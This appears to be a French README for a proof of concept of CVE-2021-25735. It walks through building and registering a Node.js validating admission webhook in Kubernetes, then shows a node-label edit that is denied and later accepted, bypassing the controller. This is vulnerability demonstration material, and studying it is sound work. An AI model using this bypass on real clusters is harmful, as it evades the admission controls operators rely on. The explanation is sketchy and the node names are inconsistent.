
Exploit pour CVE-2021-25735 démontrant le contournement du webhook d'admission validant Kubernetes via la manipulation d'étiquettes de nœud, avec conteneur Docker déployable et scripts d'enregistrement de webhook.
Commençons par exécuter le script gencerts.sh pour générer les certificats et clés TLS.
bash gencerts.sh
Pour déployer le contrôleur d'admission, vous devez construire l'image du conteneur Docker localement, la taguer et la pousser vers votre Dockerhub à l'aide des commandes ci-dessous.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
Vous pouvez maintenant déployer l'image créée avec l'application Node.js dans votre cluster K8s. Le fichier webhook-deploy.yaml déploiera tous les composants nécessaires dans votre cluster.
kubectl apply -f webhook-deploy.yaml
Enregistrons maintenant notre webhook auprès du serveur API Kubernetes. Pour cela, nous créons un encodage Base64 du fichier ca.crt créé précédemment et remplaçons CA_BUNDLE dans webhook-registration.yaml.
cat ca.crt | base64
Enfin, nous enregistrerons le webhook auprès du serveur API Kubernetes.
kubectl apply -f webhook-registration.yaml
Nous modifions l'étiquette du nœud à l'aide de edit nodes et nous ajoutons une nouvelle étiquette.
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
Étant donné que ChangeAllowed est défini sur "false", nous obtenons l'erreur suivante :
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
Si nous réessayons de modifier le nœud en effectuant le changement suivant :
labels:
test: test
changeAllowed: "true"
Dans ce cas, l'action d'édition a été acceptée en contournant le contrôleur d'admission.